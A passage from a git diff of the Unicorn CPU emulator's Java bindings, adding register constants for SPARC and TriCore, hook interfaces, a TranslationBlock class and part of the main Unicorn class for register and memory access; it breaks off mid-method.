UC_SPARC_REG_F62 = 48; + public static final int UC_SPARC_REG_FCC0 = 49; + public static final int UC_SPARC_REG_FCC1 = 50; + public static final int UC_SPARC_REG_FCC2 = 51; + public static final int UC_SPARC_REG_FCC3 = 52; + public static final int UC_SPARC_REG_G0 = 53; + public static final int UC_SPARC_REG_G1 = 54; + public static final int UC_SPARC_REG_G2 = 55; + public static final int UC_SPARC_REG_G3 = 56; + public static final int UC_SPARC_REG_G4 = 57; + public static final int UC_SPARC_REG_G5 = 58; + public static final int UC_SPARC_REG_G6 = 59; + public static final int UC_SPARC_REG_G7 = 60; + public static final int UC_SPARC_REG_I0 = 61; + public static final int UC_SPARC_REG_I1 = 62; + public static final int UC_SPARC_REG_I2 = 63; + public static final int UC_SPARC_REG_I3 = 64; + public static final int UC_SPARC_REG_I4 = 65; + public static final int UC_SPARC_REG_I5 = 66; + public static final int UC_SPARC_REG_FP = 67; + public static final int UC_SPARC_REG_I7 = 68; + public static final int UC_SPARC_REG_ICC = 69; + public static final int UC_SPARC_REG_L0 = 70; + public static final int UC_SPARC_REG_L1 = 71; + public static final int UC_SPARC_REG_L2 = 72; + public static final int UC_SPARC_REG_L3 = 73; + public static final int UC_SPARC_REG_L4 = 74; + public static final int UC_SPARC_REG_L5 = 75; + public static final int UC_SPARC_REG_L6 = 76; + public static final int UC_SPARC_REG_L7 = 77; + public static final int UC_SPARC_REG_O0 = 78; + public static final int UC_SPARC_REG_O1 = 79; + public static final int UC_SPARC_REG_O2 = 80; + public static final int UC_SPARC_REG_O3 = 81; + public static final int UC_SPARC_REG_O4 = 82; + public static final int UC_SPARC_REG_O5 = 83; + public static final int UC_SPARC_REG_SP = 84; + public static final int UC_SPARC_REG_O7 = 85; + public static final int UC_SPARC_REG_Y = 86; + public static final int UC_SPARC_REG_XCC = 87; + public static final int UC_SPARC_REG_PC = 88; + public static final int UC_SPARC_REG_ENDING = 89; + public static final int UC_SPARC_REG_O6 = 84; + public static final int UC_SPARC_REG_I6 = 67; + +} diff --git a/bindings/java/unicorn/SyscallHook.java b/bindings/java/src/main/java/unicorn/SyscallHook.java similarity index 63% rename from bindings/java/unicorn/SyscallHook.java rename to bindings/java/src/main/java/unicorn/SyscallHook.java index 5b08a11344..a05bb5fc99 100644 --- a/bindings/java/unicorn/SyscallHook.java +++ b/bindings/java/src/main/java/unicorn/SyscallHook.java @@ -21,9 +21,13 @@ package unicorn; -public interface SyscallHook extends Hook { - - public void hook(Unicorn u, Object user); - +/** Callback for {@code UC_HOOK_INSN} with {@code UC_X86_INS_SYSCALL} or + * {@code UC_X86_INS_SYSENTER} */ +public interface SyscallHook extends InstructionHook { + /** Called to handle an x86 SYSCALL or SYSENTER instruction. + * + * @param u {@link Unicorn} instance firing this hook + * @param user user data provided when registering this hook + */ + public void hook(Unicorn u, Object user); } - diff --git a/bindings/java/src/main/java/unicorn/TcgOpcodeHook.java b/bindings/java/src/main/java/unicorn/TcgOpcodeHook.java new file mode 100644 index 0000000000..a9e7c4235b --- /dev/null +++ b/bindings/java/src/main/java/unicorn/TcgOpcodeHook.java @@ -0,0 +1,40 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2023 Robert Xiao + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +package unicorn; + +/** Callback for {@code UC_HOOK_TCG_OPCODE} */ +public interface TcgOpcodeHook extends Hook { + /** Called on every instruction of the registered type(s) within the + * registered range. For example, a {@code UC_TCG_OP_SUB} hook fires on + * every instruction that contains a subtraction operation, unless + * otherwise filtered. + * + * @param u {@link Unicorn} instance firing this hook + * @param address address of the instruction + * @param arg1 first argument to the instruction + * @param arg2 second argument to the instruction + * @param size size of the operands (currently, 32 or 64) + * @param user user data provided when registering this hook + */ + public void hook(Unicorn u, long address, long arg1, long arg2, int size, + Object user); +} diff --git a/bindings/java/src/main/java/unicorn/TlbFillHook.java b/bindings/java/src/main/java/unicorn/TlbFillHook.java new file mode 100644 index 0000000000..270fc44f24 --- /dev/null +++ b/bindings/java/src/main/java/unicorn/TlbFillHook.java @@ -0,0 +1,42 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2023 Robert Xiao + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +package unicorn; + +/** Callback for {@code UC_HOOK_TLB_FILL} */ +public interface TlbFillHook extends Hook { + /** Called to map a virtual address within the registered range to a + * physical address. The resulting mapping is cached in the QEMU TLB. + * These hooks are only called if the TLB mode (set via + * {@link Unicorn#ctl_tlb_mode}) is set to {@code UC_TLB_VIRTUAL}. + * + * @param u {@link Unicorn} instance firing this hook + * @param vaddr virtual address being mapped + * @param type type of memory access ({@code UC_MEM_READ}, + * {@code UC_MEM_WRITE} or {@code UC_MEM_FETCH}). + * @param user user data provided when registering this hook + * @return the page-aligned physical address ORed with the page + * protection bits ({@code UC_PROT_*}). Return -1L to + * indicate an unmapped address; if all hooks return -1L, + * the memory access will fail and raise a CPU exception. + */ + public long hook(Unicorn u, long vaddr, int type, Object user); +} diff --git a/bindings/java/unicorn/EventMemHook.java b/bindings/java/src/main/java/unicorn/TranslationBlock.java similarity index 61% rename from bindings/java/unicorn/EventMemHook.java rename to bindings/java/src/main/java/unicorn/TranslationBlock.java index db1f12d9dc..721d192d5c 100644 --- a/bindings/java/unicorn/EventMemHook.java +++ b/bindings/java/src/main/java/unicorn/TranslationBlock.java @@ -2,7 +2,7 @@ Java bindings for the Unicorn Emulator Engine -Copyright(c) 2015 Chris Eagle +Copyright(c) 2023 Robert Xiao This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License @@ -21,9 +21,21 @@ package unicorn; -public interface EventMemHook extends Hook { - - public boolean hook(Unicorn u, long address, int size, long value, Object user); - +/** uc_tb */ +public class TranslationBlock { + public long pc; + public int icount; + public int size; + + public TranslationBlock(long pc, int icount, int size) { + this.pc = pc; + this.icount = icount; + this.size = size; + } + + @Override + public String toString() { + return String.format("TranslationBlock [pc=0x%x, icount=%d, size=%d]", + pc, icount, size); + } } - diff --git a/bindings/java/src/main/java/unicorn/TriCoreConst.java b/bindings/java/src/main/java/unicorn/TriCoreConst.java new file mode 100644 index 0000000000..2cf10b0c8c --- /dev/null +++ b/bindings/java/src/main/java/unicorn/TriCoreConst.java @@ -0,0 +1,130 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +package unicorn; + +public interface TriCoreConst { + + // TRICORE CPU + + public static final int UC_CPU_TRICORE_TC1796 = 0; + public static final int UC_CPU_TRICORE_TC1797 = 1; + public static final int UC_CPU_TRICORE_TC27X = 2; + public static final int UC_CPU_TRICORE_ENDING = 3; + + // TRICORE registers + + public static final int UC_TRICORE_REG_INVALID = 0; + public static final int UC_TRICORE_REG_A0 = 1; + public static final int UC_TRICORE_REG_A1 = 2; + public static final int UC_TRICORE_REG_A2 = 3; + public static final int UC_TRICORE_REG_A3 = 4; + public static final int UC_TRICORE_REG_A4 = 5; + public static final int UC_TRICORE_REG_A5 = 6; + public static final int UC_TRICORE_REG_A6 = 7; + public static final int UC_TRICORE_REG_A7 = 8; + public static final int UC_TRICORE_REG_A8 = 9; + public static final int UC_TRICORE_REG_A9 = 10; + public static final int UC_TRICORE_REG_A10 = 11; + public static final int UC_TRICORE_REG_A11 = 12; + public static final int UC_TRICORE_REG_A12 = 13; + public static final int UC_TRICORE_REG_A13 = 14; + public static final int UC_TRICORE_REG_A14 = 15; + public static final int UC_TRICORE_REG_A15 = 16; + public static final int UC_TRICORE_REG_D0 = 17; + public static final int UC_TRICORE_REG_D1 = 18; + public static final int UC_TRICORE_REG_D2 = 19; + public static final int UC_TRICORE_REG_D3 = 20; + public static final int UC_TRICORE_REG_D4 = 21; + public static final int UC_TRICORE_REG_D5 = 22; + public static final int UC_TRICORE_REG_D6 = 23; + public static final int UC_TRICORE_REG_D7 = 24; + public static final int UC_TRICORE_REG_D8 = 25; + public static final int UC_TRICORE_REG_D9 = 26; + public static final int UC_TRICORE_REG_D10 = 27; + public static final int UC_TRICORE_REG_D11 = 28; + public static final int UC_TRICORE_REG_D12 = 29; + public static final int UC_TRICORE_REG_D13 = 30; + public static final int UC_TRICORE_REG_D14 = 31; + public static final int UC_TRICORE_REG_D15 = 32; + public static final int UC_TRICORE_REG_PCXI = 33; + public static final int UC_TRICORE_REG_PSW = 34; + public static final int UC_TRICORE_REG_PSW_USB_C = 35; + public static final int UC_TRICORE_REG_PSW_USB_V = 36; + public static final int UC_TRICORE_REG_PSW_USB_SV = 37; + public static final int UC_TRICORE_REG_PSW_USB_AV = 38; + public static final int UC_TRICORE_REG_PSW_USB_SAV = 39; + public static final int UC_TRICORE_REG_PC = 40; + public static final int UC_TRICORE_REG_SYSCON = 41; + public static final int UC_TRICORE_REG_CPU_ID = 42; + public static final int UC_TRICORE_REG_BIV = 43; + public static final int UC_TRICORE_REG_BTV = 44; + public static final int UC_TRICORE_REG_ISP = 45; + public static final int UC_TRICORE_REG_ICR = 46; + public static final int UC_TRICORE_REG_FCX = 47; + public static final int UC_TRICORE_REG_LCX = 48; + public static final int UC_TRICORE_REG_COMPAT = 49; + public static final int UC_TRICORE_REG_DPR0_U = 50; + public static final int UC_TRICORE_REG_DPR1_U = 51; + public static final int UC_TRICORE_REG_DPR2_U = 52; + public static final int UC_TRICORE_REG_DPR3_U = 53; + public static final int UC_TRICORE_REG_DPR0_L = 54; + public static final int UC_TRICORE_REG_DPR1_L = 55; + public static final int UC_TRICORE_REG_DPR2_L = 56; + public static final int UC_TRICORE_REG_DPR3_L = 57; + public static final int UC_TRICORE_REG_CPR0_U = 58; + public static final int UC_TRICORE_REG_CPR1_U = 59; + public static final int UC_TRICORE_REG_CPR2_U = 60; + public static final int UC_TRICORE_REG_CPR3_U = 61; + public static final int UC_TRICORE_REG_CPR0_L = 62; + public static final int UC_TRICORE_REG_CPR1_L = 63; + public static final int UC_TRICORE_REG_CPR2_L = 64; + public static final int UC_TRICORE_REG_CPR3_L = 65; + public static final int UC_TRICORE_REG_DPM0 = 66; + public static final int UC_TRICORE_REG_DPM1 = 67; + public static final int UC_TRICORE_REG_DPM2 = 68; + public static final int UC_TRICORE_REG_DPM3 = 69; + public static final int UC_TRICORE_REG_CPM0 = 70; + public static final int UC_TRICORE_REG_CPM1 = 71; + public static final int UC_TRICORE_REG_CPM2 = 72; + public static final int UC_TRICORE_REG_CPM3 = 73; + public static final int UC_TRICORE_REG_MMU_CON = 74; + public static final int UC_TRICORE_REG_MMU_ASI = 75; + public static final int UC_TRICORE_REG_MMU_TVA = 76; + public static final int UC_TRICORE_REG_MMU_TPA = 77; + public static final int UC_TRICORE_REG_MMU_TPX = 78; + public static final int UC_TRICORE_REG_MMU_TFA = 79; + public static final int UC_TRICORE_REG_BMACON = 80; + public static final int UC_TRICORE_REG_SMACON = 81; + public static final int UC_TRICORE_REG_DIEAR = 82; + public static final int UC_TRICORE_REG_DIETR = 83; + public static final int UC_TRICORE_REG_CCDIER = 84; + public static final int UC_TRICORE_REG_MIECON = 85; + public static final int UC_TRICORE_REG_PIEAR = 86; + public static final int UC_TRICORE_REG_PIETR = 87; + public static final int UC_TRICORE_REG_CCPIER = 88; + public static final int UC_TRICORE_REG_DBGSR = 89; + public static final int UC_TRICORE_REG_EXEVT = 90; + public static final int UC_TRICORE_REG_CREVT = 91; + public static final int UC_TRICORE_REG_SWEVT = 92; + public static final int UC_TRICORE_REG_TR0EVT = 93; + public static final int UC_TRICORE_REG_TR1EVT = 94; + public static final int UC_TRICORE_REG_DMS = 95; + public static final int UC_TRICORE_REG_DCX = 96; + public static final int UC_TRICORE_REG_DBGTCR = 97; + public static final int UC_TRICORE_REG_CCTRL = 98; + public static final int UC_TRICORE_REG_CCNT = 99; + public static final int UC_TRICORE_REG_ICNT = 100; + public static final int UC_TRICORE_REG_M1CNT = 101; + public static final int UC_TRICORE_REG_M2CNT = 102; + public static final int UC_TRICORE_REG_M3CNT = 103; + public static final int UC_TRICORE_REG_ENDING = 104; + public static final int UC_TRICORE_REG_GA0 = 1; + public static final int UC_TRICORE_REG_GA1 = 2; + public static final int UC_TRICORE_REG_GA8 = 9; + public static final int UC_TRICORE_REG_GA9 = 10; + public static final int UC_TRICORE_REG_SP = 11; + public static final int UC_TRICORE_REG_LR = 12; + public static final int UC_TRICORE_REG_IA = 16; + public static final int UC_TRICORE_REG_ID = 32; + +} diff --git a/bindings/java/src/main/java/unicorn/Unicorn.java b/bindings/java/src/main/java/unicorn/Unicorn.java new file mode 100644 index 0000000000..4410df5b9e --- /dev/null +++ b/bindings/java/src/main/java/unicorn/Unicorn.java @@ -0,0 +1,1415 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle, 2023 Robert Xiao + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +package unicorn; + +import java.math.BigInteger; +import java.nio.Buffer; +import java.nio.ByteBuffer; +import java.nio.ByteOrder; +import java.util.Arrays; +import java.util.Hashtable; +import java.util.Iterator; +import java.util.Map; +import java.util.concurrent.atomic.AtomicLong; + +/** Unicorn is a lightweight multi-platform, multi-architecture CPU emulator framework. */ +public class Unicorn + implements UnicornConst, Arm64Const, ArmConst, M68kConst, MipsConst, + PpcConst, RiscvConst, S390xConst, SparcConst, TriCoreConst, X86Const { + + private long nativePtr; + private int arch; + private int mode; + private Hashtable hooks = new Hashtable<>(); + + /** Instead of handing out native pointers, we'll hand out a handle + * ID for safety. This prevents things like "double frees" - + * accidentally releasing an unrelated object via handle reuse. */ + private static AtomicLong allocCounter = new AtomicLong(0x1000); + + private static long nextAllocCounter() { + return allocCounter.addAndGet(8); + } + + /** Wrapper around a registered hook */ + private static class HookWrapper { + Hook hook; + long nativePtr; + + @Override + protected void finalize() { + _hookwrapper_free(nativePtr); + } + } + + public static class Context { + long nativePtr; + public int arch; + public int mode; + + @Override + protected void finalize() { + _context_free(nativePtr); + } + + /** + * Read register value from saved context. + * + * @param regid Register ID that is to be retrieved. This function only supports + * integer registers at most 64 bits long. + * @return value of the register. + * @see Unicorn#reg_read(int) + */ + public long reg_read(int regid) throws UnicornException { + return do_reg_read_long(nativePtr, 1, arch, regid); + } + + /** + * Read register value from saved context. + * + * @param regid Register ID that is to be retrieved. + * @param opt Options for this register, or null if no options are required. + * @return value of the register - Long, BigInteger, or structure. + * @see Unicorn#reg_read(int, Object) + */ + public Object reg_read(int regid, Object opt) throws UnicornException { + return do_reg_read_obj(nativePtr, 1, arch, regid, opt); + } + + /** + * Write to register in saved context. + * + * @param regid Register ID that is to be modified. + * @param value Object containing the new register value. + * @see Unicorn#reg_write(int, long) + */ + public void reg_write(int regid, long value) throws UnicornException { + do_reg_write_long(nativePtr, 1, arch, regid, value); + } + + /** + * Write to register in saved context. + * + * @param regid Register ID that is to be modified. + * @param value Object containing the new register value. + * @see Unicorn#reg_write(int, Object) + */ + public void reg_write(int regid, Object value) throws UnicornException { + do_reg_write_obj(nativePtr, 1, arch, regid, value); + } + } + + static { + // load libunicorn_java.{so,dylib} or unicorn_java.dll + System.loadLibrary("unicorn_java"); + } + + /** + * Create a new Unicorn object + * + * @param arch Architecture type. One of the {@code UC_ARCH_*} constants. + * @param mode Hardware mode. Bitwise combination of {@code UC_MODE_*} constants. + * @see UnicornConst + * + */ + public Unicorn(int arch, int mode) throws UnicornException { + // remember these in case we need arch specific code + this.arch = arch; + this.mode = mode; + nativePtr = _open(arch, mode); + } + + /** + * Close the C {@code uc_engine} associated with this Unicorn object, + * freeing all associated resources. After calling this method, the + * API will no longer be usable. + */ + public void close() throws UnicornException { + if (nativePtr != 0) { + _close(nativePtr); + nativePtr = 0; + } + } + + /** + * Automatically close the {@code uc_engine} upon GC finalization. + */ + @Override + protected void finalize() { + close(); + } + + /** + * Return combined API version & major and minor version numbers. + * + * @return version number as {@code (major << 24 | minor << 16 | + * patch << 8 | extra)}. + * For example, Unicorn version 2.0.1 final would be 0x020001ff. + */ + public static int version() { + return _version(); + } + + /** + * Determine if the given architecture is supported by this library. + * + * @param arch Architecture type ({@code UC_ARCH_*} constant) + * @return {@code true} if this library supports the given arch. + * @see UnicornConst + */ + public static boolean arch_supported(int arch) { + return _arch_supported(arch); + } + + /** + * Emulate machine code for a specific length of time or number of + * instructions. + * + * @param begin Address where emulation starts + * @param until Address where emulation stops (i.e. when this address is hit) + * @param timeout Duration to emulate the code for, in microseconds, or 0 to + * run indefinitely. + * @param count The maximum number of instructions to execute, or 0 to + * execute indefinitely. + * @throws UnicornException if an unhandled CPU exception or other error + * occurs during emulation. + */ + public void emu_start(long begin, long until, long timeout, + long count) + throws UnicornException { + _emu_start(nativePtr, begin, until, timeout, count); + } + + /** + * Stop emulation (which was started by {@link #emu_start()}). + * + * This can be called from hook callbacks or from a separate thread. + * NOTE: for now, this will stop the execution only after the current + * basic block. + */ + public void emu_stop() throws UnicornException { + _emu_stop(nativePtr); + } + + private static boolean is_long_register(int arch, int regid) { + switch (arch) { + case UC_ARCH_X86: + return !(regid == UC_X86_REG_IDTR || regid == UC_X86_REG_GDTR || + regid == UC_X86_REG_LDTR || regid == UC_X86_REG_TR || + (regid >= UC_X86_REG_FP0 && regid <= UC_X86_REG_FP7) || + (regid >= UC_X86_REG_ST0 && regid <= UC_X86_REG_ST7) || + (regid >= UC_X86_REG_XMM0 && regid <= UC_X86_REG_XMM31) || + (regid >= UC_X86_REG_YMM0 && regid <= UC_X86_REG_YMM31) || + (regid >= UC_X86_REG_ZMM0 && regid <= UC_X86_REG_ZMM31) || + regid == UC_X86_REG_MSR); + case UC_ARCH_ARM: + return !(regid == UC_ARM_REG_CP_REG); + case UC_ARCH_ARM64: + return !(regid == UC_ARM64_REG_CP_REG || + (regid >= UC_ARM64_REG_Q0 && regid <= UC_ARM64_REG_Q31) || + (regid >= UC_ARM64_REG_V0 && regid <= UC_ARM64_REG_V31)); + } + return true; + } + + private static long do_reg_read_long(long ptr, int isContext, int arch, + int regid) throws UnicornException { + if (is_long_register(arch, regid)) { + return _reg_read_long(ptr, isContext, regid); + } else { + throw new UnicornException("Invalid register for reg_read_long"); + } + } + + private static Object do_reg_read_obj(long ptr, int isContext, int arch, + int regid, + Object opt) throws UnicornException { + switch (arch) { + case UC_ARCH_X86: + if (regid == UC_X86_REG_IDTR || regid == UC_X86_REG_GDTR || + regid == UC_X86_REG_LDTR || regid == UC_X86_REG_TR) { + return _reg_read_x86_mmr(ptr, isContext, regid); + } else if ((regid >= UC_X86_REG_FP0 && regid <= UC_X86_REG_FP7) || + (regid >= UC_X86_REG_ST0 && regid <= UC_X86_REG_ST7)) { + ByteBuffer b = + ByteBuffer.allocate(16).order(ByteOrder.LITTLE_ENDIAN); + _reg_read_bytes(ptr, isContext, regid, b.array()); + return new X86_Float80(b.getLong(0), b.getShort(8)); + } else if (regid >= UC_X86_REG_XMM0 && regid <= UC_X86_REG_XMM31) { + return do_reg_read_bigint(ptr, isContext, regid, 128); + } else if (regid >= UC_X86_REG_YMM0 && regid <= UC_X86_REG_YMM31) { + return do_reg_read_bigint(ptr, isContext, regid, 256); + } else if (regid >= UC_X86_REG_ZMM0 && regid <= UC_X86_REG_ZMM31) { + return do_reg_read_bigint(ptr, isContext, regid, 512); + } else if (regid == UC_X86_REG_MSR) { + X86_MSR reg = (X86_MSR) opt; + return (Long) _reg_read_x86_msr(ptr, isContext, reg.rid); + } + break; + case UC_ARCH_ARM: + if (regid == UC_ARM_REG_CP_REG) { + Arm_CP reg = (Arm_CP) opt; + return (Long) _reg_read_arm_cp(ptr, isContext, reg.cp, reg.is64, + reg.sec, reg.crn, reg.crm, reg.opc1, reg.opc2); + } + break; + case UC_ARCH_ARM64: + if (regid == UC_ARM64_REG_CP_REG) { + Arm64_CP reg = (Arm64_CP) opt; + return (Long) _reg_read_arm64_cp(ptr, isContext, reg.crn, + reg.crm, reg.op0, reg.op1, reg.op2); + } else if ((regid >= UC_ARM64_REG_Q0 && + regid <= UC_ARM64_REG_Q31) || + (regid >= UC_ARM64_REG_V0 && regid <= UC_ARM64_REG_V31)) { + return do_reg_read_bigint(ptr, isContext, regid, 128); + } + break; + } + return _reg_read_long(ptr, isContext, regid); + } + + private static void do_reg_write_long(long ptr, int isContext, int arch, + int regid, long value) throws UnicornException { + if (is_long_register(arch, regid)) { + _reg_write_long(ptr, isContext, regid, value); + } else { + throw new UnicornException("Invalid register for reg_read_long"); + } + } + + private static void do_reg_write_obj(long ptr, int isContext, int arch, + int regid, + Object value) throws UnicornException { + switch (arch) { + case UC_ARCH_X86: + if (regid == UC_X86_REG_IDTR || regid == UC_X86_REG_GDTR || + regid == UC_X86_REG_LDTR || regid == UC_X86_REG_TR) { + X86_MMR reg = (X86_MMR) value; + _reg_write_x86_mmr(ptr, isContext, regid, reg.selector, + reg.base, reg.limit, reg.flags); + return; + } else if ((regid >= UC_X86_REG_FP0 && regid <= UC_X86_REG_FP7) || + (regid >= UC_X86_REG_ST0 && regid <= UC_X86_REG_ST7)) { + X86_Float80 reg = (X86_Float80) value; + ByteBuffer b = + ByteBuffer.allocate(16).order(ByteOrder.LITTLE_ENDIAN); + b.putLong(0, reg.mantissa); + b.putShort(8, reg.exponent); + _reg_write_bytes(ptr, isContext, regid, b.array()); + return; + } else if (regid >= UC_X86_REG_XMM0 && regid <= UC_X86_REG_XMM31) { + do_reg_write_bigint(ptr, isContext, regid, (BigInteger) value, + 128); + return; + } else if (regid >= UC_X86_REG_YMM0 && regid <= UC_X86_REG_YMM31) { + do_reg_write_bigint(ptr, isContext, regid, (BigInteger) value, + 256); + return; + } else if (regid >= UC_X86_REG_ZMM0 && regid <= UC_X86_REG_ZMM31) { + do_reg_write_bigint(ptr, isContext, regid, (BigInteger) value, + 512); + return; + } else if (regid == UC_X86_REG_MSR) { + X86_MSR reg = (X86_MSR) value; + _reg_write_x86_msr(ptr, isContext, reg.rid, reg.value); + return; + } + break; + case UC_ARCH_ARM: + if (regid == UC_ARM_REG_CP_REG) { + Arm_CP reg = (Arm_CP) value; + _reg_write_arm_cp(ptr, isContext, reg.cp, reg.is64, reg.sec, + reg.crn, reg.crm, reg.opc1, reg.opc2, reg.val); + return; + } + break; + case UC_ARCH_ARM64: + if (regid == UC_ARM64_REG_CP_REG) { + Arm64_CP reg = (Arm64_CP) value; + _reg_write_arm64_cp(ptr, isContext, reg.crn, reg.crm, reg.op0, + reg.op1, reg.op2, reg.val); + return; + } else if ((regid >= UC_ARM64_REG_Q0 && + regid <= UC_ARM64_REG_Q31) || + (regid >= UC_ARM64_REG_V0 && regid <= UC_ARM64_REG_V31)) { + do_reg_write_bigint(ptr, isContext, regid, (BigInteger) value, + 128); + return; + } + break; + } + _reg_write_long(ptr, isContext, regid, (Long) value); + } + + private static BigInteger do_reg_read_bigint(long ptr, int isContext, + int regid, + int nbits) { + + byte[] buf = new byte[nbits >> 3]; + _reg_read_bytes(ptr, isContext, regid, buf); + if (ByteOrder.nativeOrder().equals(ByteOrder.LITTLE_ENDIAN)) { + // reverse native buffer to big-endian on little-endian hosts + int i = buf.length - 1; + int j = 0; + while (i > j) { + byte temp = buf[i]; + buf[i] = buf[j]; + buf[j] = temp; + i--; + j++; + } + } + return new BigInteger(1, buf); + } + + private static void do_reg_write_bigint(long ptr, int isContext, int regid, + BigInteger value, int nbits) { + byte[] val = value.toByteArray(); + byte[] buf = new byte[nbits >> 3]; + if (val.length == ((nbits >> 3) + 1) && val[0] == 0x00) { + // unsigned value >= 2^(nbits - 1): has a zero sign bit + val = Arrays.copyOfRange(val, 1, val.length); + } else if (val[0] < 0) { + Arrays.fill(buf, (byte) 0xff); + } + + if (val.length > (nbits >> 3)) { + throw new IllegalArgumentException( + "input integer is too large for a " + nbits + + "-bit register (got " + (value.bitLength() + 1) + " bits)"); + } + + if (ByteOrder.nativeOrder().equals(ByteOrder.LITTLE_ENDIAN)) { + for (int i = 0; i < val.length; i++) { + buf[i] = val[val.length - i - 1]; + } + } else { + System.arraycopy(val, 0, buf, buf.length - val.length, val.length); + } + _reg_write_bytes(ptr, isContext, regid, buf); + } + + /** + * Read register value of at most 64 bits in size. + * + * @param regid Register ID that is to be retrieved. This function only supports + * integer registers at most 64 bits long. + * @return value of the register. + * @see {@link #reg_read(int, Object)} to read larger registers or + * registers requiring configuration. + * @throws UnicornException if the register is not valid for the current + * architecture or mode. + */ + public long reg_read(int regid) throws UnicornException { + return do_reg_read_long(nativePtr, 0, arch, regid); + } + + /** + * Read register value. The return type depends on {@code regid} as + * follows. {@code opt} should be {@code null} unless otherwise specified. + *
    + *
  • {@code UC_X86_REG_*TR} => {@link X86_MMR} + *
  • {@code UC_X86_REG_FP*} => {@link X86_Float80} + *
  • {@code UC_X86_REG_ST*} => {@link X86_Float80} + *
  • {@code UC_X86_REG_XMM*} => {@link BigInteger} (128 bits) + *
  • {@code UC_X86_REG_YMM*} => {@link BigInteger} (256 bits) + *
  • {@code UC_X86_REG_ZMM*} => {@link BigInteger} (512 bits) + *
  • {@code UC_X86_REG_MSR} (opt: {@link X86_MSR}) => {@link Long} + *
  • {@code UC_ARM_REG_CP} (opt: {@link Arm_CP}) => {@link Long} + *
  • {@code UC_ARM64_REG_CP} (opt: {@link Arm64_CP}) => {@link Long} + *
  • {@code UC_ARM64_REG_Q*} => {@link BigInteger} (128 bits) + *
  • {@code UC_ARM64_REG_V*} => {@link BigInteger} (128 bits) + *
+ * + * {@link BigInteger} registers always produce non-negative results (i.e. + * they read as unsigned integers). + * + * @param regid Register ID that is to be retrieved. + * @param opt Options for this register, or {@code null} if no options + * are required. + * @return value of the register - {@link Long}, {@link BigInteger}, + * or other class. + * @throws UnicornException if the register is not valid for the current + * architecture or mode. + */ + public Object reg_read(int regid, Object opt) throws UnicornException { + return do_reg_read_obj(nativePtr, 0, arch, regid, opt); + } + + /** + * Write to register. This sets any register that doesn't require special + * options and which is at most 64 bits long. + * + * @param regid Register ID that is to be modified. + * @param value Object containing the new register value. + * @see {@link #reg_read(int, Object)} to write larger registers or + * registers requiring configuration. + * @throws UnicornException if the register is not valid for the current + * architecture or mode. + */ + public void reg_write(int regid, long value) throws UnicornException { + do_reg_write_long(nativePtr, 0, arch, regid, value); + } + + /** + * Write to register. The type of {@code value} depends on {@code regid}: + *
    + *
  • {@code UC_X86_REG_*TR} => {@link X86_MMR} + *
  • {@code UC_X86_REG_FP*} => {@link X86_Float80} + *
  • {@code UC_X86_REG_ST*} => {@link X86_Float80} + *
  • {@code UC_X86_REG_XMM*} => {@link BigInteger} (128 bits) + *
  • {@code UC_X86_REG_YMM*} => {@link BigInteger} (256 bits) + *
  • {@code UC_X86_REG_ZMM*} => {@link BigInteger} (512 bits) + *
  • {@code UC_X86_REG_MSR} => {@link X86_MSR} + *
  • {@code UC_ARM_REG_CP} => {@link Arm_CP} + *
  • {@code UC_ARM64_REG_CP} => {@link Arm64_CP} + *
  • {@code UC_ARM64_REG_Q*} => {@link BigInteger} (128 bits) + *
  • {@code UC_ARM64_REG_V*} => {@link BigInteger} (128 bits) + *
+ * + * {@link BigInteger} values can be signed or unsigned, as long as the + * value fits in the target register size. Values that are too large will + * be rejected. + * + * @param regid Register ID that is to be modified. + * @param value Object containing the new register value. + * @throws UnicornException if the register is not valid for the current + * architecture or mode. + */ + public void reg_write(int regid, Object value) throws UnicornException { + do_reg_write_obj(nativePtr, 0, arch, regid, value); + } + + /** @deprecated Use individual calls to {@code reg_read} instead. + * This method is deprecated as it is much slower than + * {@link #reg_read(int)} for reading 64-bit-or-smaller registers. + */ + @Deprecated + public Object[] reg_read_batch(int regids[]) throws UnicornException { + Object[] res = new Object[regids.length]; + for (int i = 0; i < regids.length; i++) { + res[i] = reg_read(regids[i], null); + } + return res; + } + + /** @deprecated Use individual calls to {@code reg_write} instead. + * This method is deprecated as it is much slower than + * {@link #reg_write(int, long)} for writing 64-bit-or-smaller registers. + */ + @Deprecated + public void reg_write_batch(int regids[], Object vals[]) + throws UnicornException { + if (regids.length != vals.length) { + throw new UnicornException(strerror(UC_ERR_ARG)); + } + for (int i = 0; i < regids.length; i++) { + reg_write(regids[i], vals[i]); + } + } + + /** + * Read from memory. + * + * @param address Start address of the memory region to be read. + * @param size Number of bytes to be retrieved. + * @return Byte array containing the contents of the requested memory range. + */ + public byte[] mem_read(long address, int size) throws UnicornException { + byte[] result = new byte[size]; + _mem_read(nativePtr, address, result); + return result; + } + + /** @deprecated Use {@link #mem_read(long, int)} instead. */ + @Deprecated + public byte[] mem_read(long address, long size) throws UnicornException { + if (size < 0) { + throw new NegativeArraySizeException("size cannot be negative"); + } else if (size 